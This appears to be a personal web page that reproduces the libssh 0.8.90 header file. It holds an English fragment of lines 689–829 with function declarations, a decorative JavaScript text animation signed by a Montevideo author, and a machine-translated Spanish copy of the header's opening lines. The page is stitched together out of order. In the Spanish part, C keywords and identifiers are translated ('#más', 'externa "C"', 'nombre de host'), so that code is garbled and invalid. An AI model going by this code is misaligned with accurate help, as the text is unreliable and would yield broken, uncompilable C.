<span style='color:#00c4c4; '>689 LIBSSH_API int ssh_pki_import_cert_file(const char *filename,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>690 ssh_key *pkey);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>691 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>692 LIBSSH_API int ssh_pki_export_privkey_to_pubkey(const ssh_key privkey,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>693 ssh_key *pkey);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>694 LIBSSH_API int ssh_pki_export_pubkey_base64(const ssh_key key,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>695 char **b64_key);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>696 LIBSSH_API int ssh_pki_export_pubkey_file(const ssh_key key,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>697 const char *filename);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>698 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>699 LIBSSH_API const char *ssh_pki_key_ecdsa_name(const ssh_key key);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>700 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>701 LIBSSH_API char *ssh_get_fingerprint_hash(enum ssh_publickey_hash_type type,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>702 unsigned char *hash,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>703 size_t len);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>704 LIBSSH_API void ssh_print_hash</span> <span style='color:#00c4c4; '>(enum ssh_publickey_hash_type type, unsigned char *hash, size_t len);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>705 LIBSSH_API int ssh_send_ignore (ssh_session session, const char *data);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>706 LIBSSH_API int ssh_send_debug (ssh_session session, const char *message, int always_display);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>707 LIBSSH_API void ssh_gssapi_set_creds(ssh_session session, const ssh_gssapi_creds creds);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>708 LIBSSH_API int ssh_scp_accept_request(ssh_scp scp);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>709 LIBSSH_API int ssh_scp_close(ssh_scp scp);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>710 LIBSSH_API int ssh_scp_deny_request(ssh_scp scp, const char *reason);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>711 LIBSSH_API void ssh_scp_free(ssh_scp scp);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>712 LIBSSH_API int ssh_scp_init(ssh_scp scp);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>713 LIBSSH_API int ssh_scp_leave_directory(ssh_scp scp);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>714 LIBSSH_API ssh_scp ssh_scp_new(ssh_session session, int mode, const char *location);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>715 LIBSSH_API int ssh_scp_pull_request(ssh_scp scp);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>716 LIBSSH_API int ssh_scp_push_directory(ssh_scp scp, const char *dirname, int mode);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>717 LIBSSH_API int ssh_scp_push_file(ssh_scp scp, const char *filename, size_t size, int perms);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>718 LIBSSH_API int ssh_scp_push_file64(ssh_scp scp, const char *filename, uint64_t size, int perms);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>719 LIBSSH_API int ssh_scp_read(ssh_scp scp, void *buffer, size_t size);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>720 LIBSSH_API const char *ssh_scp_request_get_filename(ssh_scp scp);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>721 LIBSSH_API int ssh_scp_request_get_permissions(ssh_scp scp);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>722 LIBSSH_API size_t ssh_scp_request_get_size(ssh_scp scp);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>723 LIBSSH_API uint64_t ssh_scp_request_get_size64(ssh_scp scp);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>724 LIBSSH_API const char *ssh_scp_request_get_warning(ssh_scp scp);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>725 LIBSSH_API int ssh_scp_write(ssh_scp scp, const void *buffer, size_t len);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>726 LIBSSH_API int ssh_select(ssh_channel *channels, ssh_channel *outchannels, socket_t maxfd,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>727 fd_set *readfds, struct timeval *timeout);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>728 LIBSSH_API int ssh_service_request(ssh_session session, const char *service);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>729 LIBSSH_API int ssh_set_agent_channel(ssh_session session, ssh_channel channel);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>730 LIBSSH_API int ssh_set_agent_socket(ssh_session session, socket_t fd);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>731 LIBSSH_API void ssh_set_blocking(ssh_session session, int blocking);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>732 LIBSSH_API void ssh_set_counters(ssh_session session, ssh_counter scounter,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>733 ssh_counter rcounter);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>734 LIBSSH_API void ssh_set_fd_except(ssh_session session);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>735 LIBSSH_API void ssh_set_fd_toread(ssh_session session);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>736 LIBSSH_API void ssh_set_fd_towrite(ssh_session session);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>737 LIBSSH_API void ssh_silent_disconnect(ssh_session session);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>738 LIBSSH_API int ssh_set_pcap_file(ssh_session session, ssh_pcap_file pcapfile);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>739 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>740 /* USERAUTH */</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>741 LIBSSH_API int ssh_userauth_none(ssh_session session, const char *username);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>742 LIBSSH_API int ssh_userauth_list(ssh_session session, const char *username);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>743 LIBSSH_API int ssh_userauth_try_publickey(ssh_session session,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>744 const char *username,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>745 const ssh_key pubkey);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>746 LIBSSH_API int ssh_userauth_publickey(ssh_session session,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>747 const char *username,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>748 const ssh_key privkey);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>749 #ifndef _WIN32</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>750 LIBSSH_API int ssh_userauth_agent(ssh_session session,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>751 const char *username);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>752 #endif</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>753 LIBSSH_API int ssh_userauth_publickey_auto(ssh_session session,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>754 const char *username,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>755 const char *passphrase);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>756 LIBSSH_API int ssh_userauth_password(ssh_session session,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>757 const char *username,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>758 const char *password);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>759 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>760 LIBSSH_API int ssh_userauth_kbdint(ssh_session session, const char *user, const char *submethods);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>761 LIBSSH_API const char *ssh_userauth_kbdint_getinstruction(ssh_session session);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>762 LIBSSH_API const char *ssh_userauth_kbdint_getname(ssh_session session);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>763 LIBSSH_API int ssh_userauth_kbdint_getnprompts(ssh_session session);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>764 LIBSSH_API const char *ssh_userauth_kbdint_getprompt(ssh_session session, unsigned int i, char *echo);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>765 LIBSSH_API int ssh_userauth_kbdint_getnanswers(ssh_session session);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>766 LIBSSH_API const char *ssh_userauth_kbdint_getanswer(ssh_session session, unsigned int i);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>767 LIBSSH_API int ssh_userauth_kbdint_setanswer(ssh_session session, unsigned int i,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>768 const char *answer);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>769 LIBSSH_API int ssh_userauth_gssapi(ssh_session session);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>770 LIBSSH_API const char *ssh_version(int req_version);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>771 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>772 LIBSSH_API void ssh_string_burn(ssh_string str);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>773 LIBSSH_API ssh_string ssh_string_copy(ssh_string str);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>774 LIBSSH_API void *ssh_string_data(ssh_string str);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>775 LIBSSH_API int ssh_string_fill(ssh_string str, const void *data, size_t len);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>776 #define SSH_STRING_FREE(x) \</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>777 do { if ((x) != NULL) { ssh_string_free(x); x = NULL; } } while(0)</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>778 LIBSSH_API void ssh_string_free(ssh_string str);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>779 LIBSSH_API ssh_string ssh_string_from_char(const char *what);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>780 LIBSSH_API size_t ssh_string_len(ssh_string str);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>781 LIBSSH_API ssh_string ssh_string_new(size_t size);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>782 LIBSSH_API const char *ssh_string_get_char(ssh_string str);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>783 LIBSSH_API char *ssh_string_to_char(ssh_string str);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>784 #define SSH_STRING_FREE_CHAR(x) \</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>785 do { if ((x) != NULL) { ssh_string_free_char(x); x = NULL; } } while(0)</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>786 LIBSSH_API void ssh_string_free_char(char *s);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>787 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>788 LIBSSH_API int ssh_getpass(const char *prompt, char *buf, size_t len, int echo,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>789 int verify);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>790 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>791 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>792 typedef int (*ssh_event_callback)(socket_t fd, int revents, void *userdata);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>793 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>794 LIBSSH_API ssh_event ssh_event_new(void);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>795 LIBSSH_API int ssh_event_add_fd(ssh_event event, socket_t fd, short events,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>796 ssh_event_callback cb, void *userdata);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>797 LIBSSH_API int ssh_event_add_session(ssh_event event, ssh_session session);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>798 LIBSSH_API int ssh_event_add_connector(ssh_event event, ssh_connector connector);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>799 LIBSSH_API int ssh_event_dopoll(ssh_event event, int timeout);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>800 LIBSSH_API int ssh_event_remove_fd(ssh_event event, socket_t fd);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>801 LIBSSH_API int ssh_event_remove_session(ssh_event event, ssh_session session);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>802 LIBSSH_API int ssh_event_remove_connector(ssh_event event, ssh_connector connector);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>803 LIBSSH_API void ssh_event_free(ssh_event event);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>804 LIBSSH_API const char* ssh_get_clientbanner(ssh_session session);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>805 LIBSSH_API const char* ssh_get_serverbanner(ssh_session session);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>806 LIBSSH_API const char* ssh_get_kex_algo(ssh_session session);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>807 LIBSSH_API const char* ssh_get_cipher_in(ssh_session session);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>808 LIBSSH_API const char* ssh_get_cipher_out(ssh_session session);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>809 LIBSSH_API const char* ssh_get_hmac_in(ssh_session session);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>810 LIBSSH_API const char* ssh_get_hmac_out(ssh_session session);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>811 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>812 LIBSSH_API ssh_buffer ssh_buffer_new(void);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>813 LIBSSH_API void ssh_buffer_free(ssh_buffer buffer);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>814 #define SSH_BUFFER_FREE(x) \</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>815 do { if ((x) != NULL) { ssh_buffer_free(x); x = NULL; } } while(0)</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>816 LIBSSH_API int ssh_buffer_reinit(ssh_buffer buffer);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>817 LIBSSH_API int ssh_buffer_add_data(ssh_buffer buffer, const void *data, uint32_t len);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>818 LIBSSH_API uint32_t ssh_buffer_get_data(ssh_buffer buffer, void *data, uint32_t requestedlen);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>819 LIBSSH_API void *ssh_buffer_get(ssh_buffer buffer);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>820 LIBSSH_API uint32_t ssh_buffer_get_len(ssh_buffer buffer);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>821 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>822 #ifndef LIBSSH_LEGACY_0_4</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>823 #include </span><span style='color:#02d045; '>"</span>libssh<span style='color:#d2cd86; '>/</span>legacy<span style='color:#d2cd86; '>.</span>h<span style='color:#02d045; '>"</span><span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>824 #endif</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>825 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>826 #ifdef __cplusplus</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>827 }</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>828 #endif</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>829 #endif /* _LIBSSH_H */</small></span> <span style='color:#00c4c4; '>    </span> <span style='color:#00c4c4; '>    </body></span> <span style='color:#00c4c4; '></html></span> <span style='color:#00c4c4; '><!-- Juan Angel Luzardo Muslera / montevideo Uruguay --></span> </pre> <!--Created using ToHtml.com on 2020-08-26 03:46:37 UTC --> <h2 id="fly">White flag Juan Angel / Montevideo Uruguay</h2> <script type="text/javascript"> message = document.getElementById("fly").innerHTML; distance = 50; speed = 200; var txt="", num=0, num4=0, flyofle="", flyofwi="", flyofto="", fly=document.getElementById("fly"); function stfly() { for(i=0;i != message.length;i++) { if(message.charAt(i) != "$") txt += "<span style='position:relative;visibility:hidden;' id='n"+i+"'>"+message.charAt(i)+"<\/span>"; else txt += "<br>"; } fly.innerHTML = txt; txt = ""; flyofle = fly.offsetLeft; flyofwi = fly.offsetWidth; flyofto = fly.offsetTop; fly2b(); } function fly2b() { if(num4 != message.length) { if(message.charAt(num4) != "$") { var then = document.getElementById("n" + num4); then.style.left = flyofle - then.offsetLeft + flyofwi / 2 + 'px'; then.style.top = flyofto - then.offsetTop + distance + 'px'; fly3(then.id, parseInt(then.style.left), parseInt(then.style.left) / 5, parseInt(then.style.top), parseInt(then.style.top) / 5); } num4++; setTimeout("fly2b()", speed); } } function fly3(target,lef2,num2,top2,num3) { if((Math.floor(top2) != 0 && Math.floor(top2) != -1) || (Math.floor(lef2) != 0 && Math.floor(lef2) != -1)) { if(lef2 >= 0) lef2 -= num2; else lef2 += num2 * -1; if(Math.floor(lef2) != -1) { document.getElementById(target).style.visibility = "visible"; document.getElementById(target).style.left = Math.floor(lef2) + 'px'; } else { document.getElementById(target).style.visibility = "visible"; document.getElementById(target).style.left = Math.floor(lef2 + 1) + 'px'; } if(lef2 >= 0) top2 -= num3 else top2 += num3 * -1; if(Math.floor(top2) != -1) document.getElementById(target).style.top = Math.floor(top2) + 'px'; else document.getElementById(target).style.top = Math.floor(top2 + 1) + 'px'; setTimeout("fly3('"+target+"',"+lef2+","+num2+","+top2+","+num3+")",50) } } stfly() </script> <h2>LIBRARY SSH</h2> <strong><h1>libssh 0.8.90</h1></strong><br /> <p> <button><li>La biblioteca SSH</li></button> <button><i>PAGINA PRINCIPAL</li></button> <button><li>PÁGINAS RELACIONADAS</li></button> <button><li>M�"DULOS</li></button> <button><li>ESTRUCTURAS DE DATOS</li></button> <button><li>ARCHIVOS</li></button> </p> <ul> <button><h3> incluir </h3></button> <button><h3> libssh </h3></button> <button><h3> libssh.h </h3></button> <br /> </ul> <small>Esta biblioteca es software gratuito; puedes redistribuirlo y / o 7 * modificarlo según los términos del GNU Lesser General Public 8 * Licencia publicada por la Free Software Foundation; ya sea 9 * versión 2.1 de la Licencia, o (a su elección) cualquier versión posterior. 10 * 11 * Esta biblioteca se distribuye con la esperanza de que sea útil, 12 * pero SIN NINGUNA GARANTÍA; sin siquiera la garantía implícita de 21 #ifndef _LIBSSH_H 22 #define _LIBSSH_H 23 24 #si está definido _WIN32 || definido __CYGWIN__ 25 #ifdef LIBSSH_STATIC 26 #define LIBSSH_API 27 #más 28 #ifdef LIBSSH_EXPORTS 29 #ifdef __GNUC__ 30 #define LIBSSH_API __attribute __ ((dllexport)) 31 #más 32 #define LIBSSH_API __declspec (dllexport) 33 #endif 34 #más 35 #ifdef __GNUC__ 36 #define LIBSSH_API __attribute __ ((dllimport)) 37 #más 38 #define LIBSSH_API __declspec (dllimport) 39 #endif 40 #endif 41 #endif 42 #más 43 #if __GNUC__> = 4 &&! Definido (__ OS2__) 44 #define LIBSSH_API __attribute __ ((visibilidad ("predeterminado"))) 45 #más 46 #define LIBSSH_API 47 #endif 48 #endif 49 50 #ifdef _MSC_VER 51 / * Visual Studio no tiene inttypes.h así que no conoce uint32_t * / 52 typedef int int32_t; 53 typedef unsigned int uint32_t; 54 typedef unsigned short uint16_t; 55 typedef unsigned char uint8_t; 56 typedef unsigned long long uint64_t; 57 typedef int mode_t; 58 #else / * _MSC_VER * / 59 #include <unistd.h> 60 #include <inttypes.h> 61 #include <sys / types.h> 62 #endif / * _MSC_VER * / 63 64 #ifdef _WIN32 65 #include <winsock2.h> 66 #else / * _WIN32 * / 67 #include <sys / select.h> / * para fd_set * * / 68 #include <netdb.h> 69 #endif / * _WIN32 * / 70 71 #define SSH_STRINGIFY (s) SSH_TOSTRING (s) 72 #define SSH_TOSTRING (s) #s 73 74 / * macros de versión libssh * / 75 #define SSH_VERSION_INT (a, b, c) ((a) << 16 | (b) << 8 | (c)) 76 #define SSH_VERSION_DOT (a, b, c) a ##. ## b ##. ## c 77 #define SSH_VERSION (a, b, c) SSH_VERSION_DOT (a, b, c) 78 79 / * versión libssh * / 80 #define LIBSSH_VERSION_MAJOR 0 81 #define LIBSSH_VERSION_MINOR 8 82 #define LIBSSH_VERSION_MICRO 90 83 84 #define LIBSSH_VERSION_INT SSH_VERSION_INT (LIBSSH_VERSION_MAJOR, \ 85 LIBSSH_VERSION_MINOR, \ 86 LIBSSH_VERSION_MICRO) 87 #define LIBSSH_VERSION SSH_VERSION (LIBSSH_VERSION_MAJOR, \ 88 LIBSSH_VERSION_MINOR, \ 89 LIBSSH_VERSION_MICRO) 90 91 / * GCC tiene verificación de atributo de tipo printf. * / 92 #ifdef __GNUC__ 93 #define PRINTF_ATTRIBUTE (a, b) __attribute__ ((__format__ (__printf__, a, b))) 94 #más 95 #define PRINTF_ATTRIBUTE (a, b) 96 #endif / * __GNUC__ * / 97 98 #ifdef __GNUC__ 99 #define SSH_DEPRECATED __attribute__ ((obsoleto)) 100 #más 101 #define SSH_DEPRECATED 102 #endif 103 104 #ifdef __cplusplus 105 externa "C" { 106 #endif 107 108 struct ssh_counter_struct { 109 uint64_t in_bytes; 110 uint64_t out_bytes; 111 uint64_t in_packets; 112 uint64_t out_packets; 113 }; 114 typedef struct ssh_counter_struct * ssh_counter ; 115 116 typedef struct ssh_agent_struct * ssh_agent ; 117 typedef struct ssh_buffer_struct * ssh_buffer ; 118 typedef struct ssh_channel_struct * ssh_channel ; 119 typedef struct ssh_message_struct * ssh_message ; 120 typedef struct ssh_pcap_file_struct * ssh_pcap_file; 121 typedef struct ssh_key_struct * ssh_key ; 122 typedef struct ssh_scp_struct * ssh_scp ; 123 typedef struct ssh_session_struct * ssh_session ; 124 typedef struct ssh_string_struct * ssh_string ; 125 typedef struct ssh_event_struct * ssh_event ; 126 typedef struct ssh_connector_struct * ssh_connector ; 127 typedef void * ssh_gssapi_creds; 128 129 / * Tipo de enchufe * / 130 #ifdef _WIN32 131 #ifndef socket_t 132 typedef SOCKET socket_t; 133 #endif / * socket_t * / 134 #else / * _WIN32 * / 135 #ifndef socket_t 136 typedef int socket_t; 137 #endif 138 #endif / * _WIN32 * / 139 140 #define SSH_INVALID_SOCKET ((socket_t) -1) 141 142 / * las compensaciones de los métodos * / 143 enum ssh_kex_types_e { 144 SSH_KEX = 0, 145 SSH_HOSTKEYS, 146 SSH_CRYPT_C_S, 147 SSH_CRYPT_S_C, 148 SSH_MAC_C_S, 149 SSH_MAC_S_C, 150 SSH_COMP_C_S, 151 SSH_COMP_S_C, 152 SSH_LANG_C_S, 153 SSH_LANG_S_C 154 }; 155 156 #define SSH_CRYPT 2 157 #define SSH_MAC 3 158 #define SSH_COMP 4 159 #define SSH_LANG 5 160 161 enum ssh_auth_e { 162 SSH_AUTH_SUCCESS = 0, 163 SSH_AUTH_DENIED, 164 SSH_AUTH_PARTIAL, 165 SSH_AUTH_INFO, 166 SSH_AUTH_AGAIN, 167 SSH_AUTH_ERROR = -1 168 }; 169 170 / * banderas de autenticación * / 171 #define SSH_AUTH_METHOD_UNKNOWN 0 172 #define SSH_AUTH_METHOD_NONE 0x0001 173 #define SSH_AUTH_METHOD_PASSWORD 0x0002 174 #define SSH_AUTH_METHOD_PUBLICKEY 0x0004 175 #define SSH_AUTH_METHOD_HOSTBASED 0x0008 176 #define SSH_AUTH_METHOD_INTERACTIVE 0x0010 177 #define SSH_AUTH_METHOD_GSSAPI_MIC 0x0020 178 179 / * mensajes * / 180 enum ssh_requests_e { 181 SSH_REQUEST_AUTH = 1, 182 SSH_REQUEST_CHANNEL_OPEN, 183 SSH_REQUEST_CHANNEL, 184 SSH_REQUEST_SERVICE, 185 SSH_REQUEST_GLOBAL 186 }; 187 188 enum ssh_channel_type_e { 189 SSH_CHANNEL_UNKNOWN = 0, 190 SSH_CHANNEL_SESSION, 191 SSH_CHANNEL_DIRECT_TCPIP, 192 SSH_CHANNEL_FORWARDED_TCPIP, 193 SSH_CHANNEL_X11, 194 SSH_CHANNEL_AUTH_AGENT 195 }; 196 197 enum ssh_channel_requests_e { 198 SSH_CHANNEL_REQUEST_UNKNOWN = 0, 199 SSH_CHANNEL_REQUEST_PTY, 200 SSH_CHANNEL_REQUEST_EXEC, 201 SSH_CHANNEL_REQUEST_SHELL, 202 SSH_CHANNEL_REQUEST_ENV, 203 SSH_CHANNEL_REQUEST_SUBSYSTEM, 204 SSH_CHANNEL_REQUEST_WINDOW_CHANGE, 205 SSH_CHANNEL_REQUEST_X11 206 }; 207 208 enum ssh_global_requests_e { 209 SSH_GLOBAL_REQUEST_UNKNOWN = 0, 210 SSH_GLOBAL_REQUEST_TCPIP_FORWARD, 211 SSH_GLOBAL_REQUEST_CANCEL_TCPIP_FORWARD, 212 SSH_GLOBAL_REQUEST_KEEPALIVE 213 }; 214 215 enum ssh_publickey_state_e { 216 SSH_PUBLICKEY_STATE_ERROR = -1, 217 SSH_PUBLICKEY_STATE_NONE = 0, 218 SSH_PUBLICKEY_STATE_VALID = 1, 219 SSH_PUBLICKEY_STATE_WRONG = 2 220 }; 221 222 / * Indicadores de estado * / 224 #define SSH_CLOSED 0x01 225 226 #define SSH_READ_PENDING 0x02 227 228 #define SSH_CLOSED_ERROR 0x04 229 230 #define SSH_WRITE_PENDING 0x08 231 232 enum ssh_server_known_e { 233 SSH_SERVER_ERROR = -1, 234 SSH_SERVER_NOT_KNOWN = 0, 235 SSH_SERVER_KNOWN_OK, 236 SSH_SERVER_KNOWN_CHANGED, 237 SSH_SERVER_FOUND_OTHER, 238 SSH_SERVER_FILE_NOT_FOUND 239 }; 240 241 enum ssh_known_hosts_e { 245 SSH_KNOWN_HOSTS_ERROR = -2, 246 251 SSH_KNOWN_HOSTS_NOT_FOUND = -1, 252 257 SSH_KNOWN_HOSTS_UNKNOWN = 0, 258 262 SSH_KNOWN_HOSTS_OK, 263 269 SSH_KNOWN_HOSTS_CHANGED, 270 275 SSH_KNOWN_HOSTS_OTHER, 276 }; 277 278 #ifndef MD5_DIGEST_LEN 279 #define MD5_DIGEST_LEN 16 280 #endif 281 / * errores * / 282 283 enum ssh_error_types_e { 284 SSH_NO_ERROR = 0, 285 SSH_REQUEST_DENIED, 286 SSH_FATAL, 287 SSH_EINTR 288 }; 289 290 / * algunos tipos de claves * / 291 enum ssh_keytypes_e { 292 SSH_KEYTYPE_UNKNOWN = 0, 293 SSH_KEYTYPE_DSS = 1, 294 SSH_KEYTYPE_RSA, 295 SSH_KEYTYPE_RSA1, 296 SSH_KEYTYPE_ECDSA, 297 SSH_KEYTYPE_ED25519, 298 SSH_KEYTYPE_DSS_CERT01, 299 SSH_KEYTYPE_RSA_CERT01 300 }; 301 302 enum ssh_keycmp_e { 303 SSH_KEY_CMP_PUBLIC = 0, 304 SSH_KEY_CMP_PRIVATE 305 }; 306 307 #define SSH_ADDRSTRLEN 46 308 309 struct ssh_knownhosts_entry { 310 char * nombre de host; 311 char * sin analizar; 312 ssh_key publickey; 313 char * comentario; 314 }; 315 316 317 / * Códigos de retorno de error * / 318 #define SSH_OK 0 / * Sin error * / 319 #define SSH_ERROR -1 / * Error de algún tipo * / 320 #define SSH_AGAIN -2 / * La llamada sin bloqueo debe repetirse * / 321 #define SSH_EOF -127 / * Ya tenemos un eof * / 322 329 enum { 332 SSH_LOG_NOLOG = 0, 335 SSH_LOG_WARNING , 338 SSH_LOG_PROTOCOL , 341 SSH_LOG_PACKET , 344 SSH_LOG_FUNCTIONS 345 }; 347 #define SSH_LOG_RARE SSH_LOG_WARNING 348 357 #define SSH_LOG_NONE 0 358 359 #define SSH_LOG_WARN 1 360 361 #define SSH_LOG_INFO 2 362 363 #define SSH_LOG_DEBUG 3 364 365 #define SSH_LOG_TRACE 4 366 369 enum ssh_options_e { 370 